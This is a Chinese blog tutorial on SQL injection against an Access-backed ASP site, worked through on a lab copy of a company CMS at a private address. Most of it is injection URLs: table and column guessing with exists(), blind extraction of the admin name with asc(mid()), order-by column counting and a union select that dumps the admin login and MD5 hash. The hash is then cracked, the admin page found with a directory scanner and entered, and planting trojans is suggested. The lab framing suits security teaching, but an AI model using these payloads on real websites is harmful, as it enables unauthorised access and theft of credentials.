【网络安全-SQL注入(3)】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用

前言:

本篇文章以凡诺企业网站管理系统为例,讲解了access数据库是如何进行SQL注入的,以及注入点如何利用,如何判断查询字段个数,如果用联合查询爆出数据库数据等;

之前有两篇文章详细介绍了MySQL数据库的SQL注入,以及注入点的详细利用,文章链接如下

【sql注入超详细】你知道什么是SQL注入吗?直到如何通过SQL注入来控制目标服务器吗?一篇文章教你sql注入漏洞的原理及方法----sql注入【一】_ANii_Aini的博客-CSDN博客SQL注入漏洞详解。包括原理,分类比如数字型,字符型,搜索型,xx型,宽字节注入,报错注入,盲注,有无回显等,各种注入payload以及产生原因等等https://blog.csdn.net/m0_67844671/article/details/133031125

【sql注入】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。sql注入【二】_ANii_Aini的博客-CSDN博客【sql注入】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程;https://blog.csdn.net/m0_67844671/article/details/133461141

一,Access数据库SQL注入

(靶场以凡诺企业网站管理系统为例,安装靶场请参考这篇博客)

【网络安全 ---- 靶场搭建】凡诺企业网站管理系统靶场详细搭建过程(asp网站,练习sql注入)-CSDN博客【网络安全 ---- 靶场搭建】凡诺企业网站管理系统靶场详细搭建过程(asp网站,练习sql注入)https://blog.csdn.net/m0_67844671/article/details/133696909

我们发先新闻中心这个页面存在注入点

access数据库SQL注入与MySQL数据库SQL注入差不多,大同小异

1-1 猜数据库表名

http://192.168.31.55:208/news_view.asp?id=14 and exists(select * from users) 

## mysql5.0以前版本都是靠暴力猜解,准备个字典(表名、库名、字段名等)
## exists:access数据查询结果是否有数据,如果有数据,exists得到true,真
## 如果没有数据,直接给你报错了 

## 返回错误信息,说明users表不存在,继续提交。exists是判断某个表是否存在或者表中是否有数据
## 报错了说明没有这个users表 

 页面没有报错说明有这个users表的

 查看是否有news表,我们这是手工根据经验尝试表名,后面有字典爆破工具昂。

http://192.168.31.208/news_view.asp?id=14 and exists(select * from news)

 页面没有报错,说明存在这个表的

查看是否有管理员表,名称一般为admin或者administrator  

http://192.168.31.208/news_view.asp?id=14 and exists(select * from admin)

还是返回错误信息,说明admin表不存在,继续提交。

 

http://192.168.31.208/news_view.asp?id=14 and exists(select * from administrator)

页面没有报错,说明存在administrator这个表的 

1-2 猜测字段名

http://192.168.31.208/news_view.asp?id=14 and exists(select username from administrator)
http://192.168.31.208/news_view.asp?id=14 and exists(select user_name from administrator)
http://192.168.31.208/news_view.asp?id=14 and exists(select password from administrator)

1-3 猜测字段数据的长度

http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1

select top 1 len(user_name) from administrator  
#取出administrator表的前1行记录,并查询这行记录的user_name字段的长度


http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2

http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5

 没报错说明我们猜测是对的,administrator表的第一行记录的user_name字段的长度大于1

1-4 猜字段数据内容

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 ## 返回正常页面

## 说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。

 ## mid是从中间位置取子串函数
## 格式如下:
## mid(字符串,起始位,截取的位数)
## 例如:
## mid(“abcdef”,2,3)
## 结果是bcd
## asc是查看字母在ascii码表中的代表数字,ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,因为ascii码表中没有汉字,返回负数

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 ## 返回错误页面

## 说明字段对应的ASCll值在0和500之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 ##返回错误页面

## 说明字段对应的ASCll值在0和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 ## 返回正常页面

## 说明字段对应的ASCll值在90和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 ## 返回正常页面

## 说明字段对应的ASCll值在96和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 ## 返回错误页面

## 说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”,接着第二位查询。

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 ## 返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 ## 返回错误页面


## 用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:
## 可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3

 1-5 高级查询——order by 与union select

1-5-1 order-by 猜字段数目

order by 1
order by 2
...
order by n-1
order by n
 

如果n-1时返回正常,n时返回错误,那么说明字段数目为n。  

1-5-2 union select爆字段内容

## 得到字段长度后,就可利用union select查询获得字段内容了。
and 1=2 union select 1, 2, 3...., n from 表名
## 执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。
and 1=2 union select1, 字段1, 字段2...., n from 表名
## 在页面中就会返回字段内容,不必一个一个进行猜解了

测试实例  

http://192.168.31.208/news_view.asp?id=14 order by 1 ## 正常
http://192.168.31.208/news_view.asp?id=14 order by 7 ##正常
http://192.168.31.208/news_view.asp?id=14 order by 8 ## 错误

 order by 8的时候报错了而order by 7的时候没报错说明查询的字段数为7个字段

去数据库看一下,果然是7个字段 

## 说明字段数目为7 ,因此可提交以下字段。
http://192.168.31.208/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator 
## (通过联合查询从这7个字段里面去查询administrator表里面那些是可写的数字)

 我们发现是第2,3,5,7字段的数据写到了页面上

从页面返回信息中,可看到显示了数字2和3。因此可以将这2个数字替换为我们想要数据的字段名,提交如下查询。 

http://192.168.31.208/news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administrator
## 在页面返回信息中,立即获得了user_name和password字段的值,比前面的方法快速高效多了。

拿到了一个登录账号和密码,不过密码是md5加密过得(试一试能不能撞库撞出来) 

md5在线破解网址(说破解不对,毕竟哈希算法不可逆,可以撞库就是有人做了数据库存放这明文和哈希值,现在通过哈希值拿到明文) 

md5在线解密破解,md5解密加密icon-default.png?t=N7T8https://www.cmd5.com/

拿到了密码明文为admin 

有了后台用户名和密码,那么我们再找到后台登录网址就可以了

使用7kb或者御剑等攻击来扫描目录(需要工具可以私信

发现好几个admin开头的目录,经过测试 192.168.31.208/admin刚好是后台页面

账号密码  admin/admin   刚才通过注入拿出来的 

 就这样登录到人家后台网页了

 登录就可以修改里面的数据,或者插入一些木马在里面了

如果需要网络安全工具可以留言

如果有不懂的地方留言一起技术交流

希望各路神仙大神们的指点指正

猜你喜欢

转载自blog.csdn.net/m0_67844671/article/details/133469076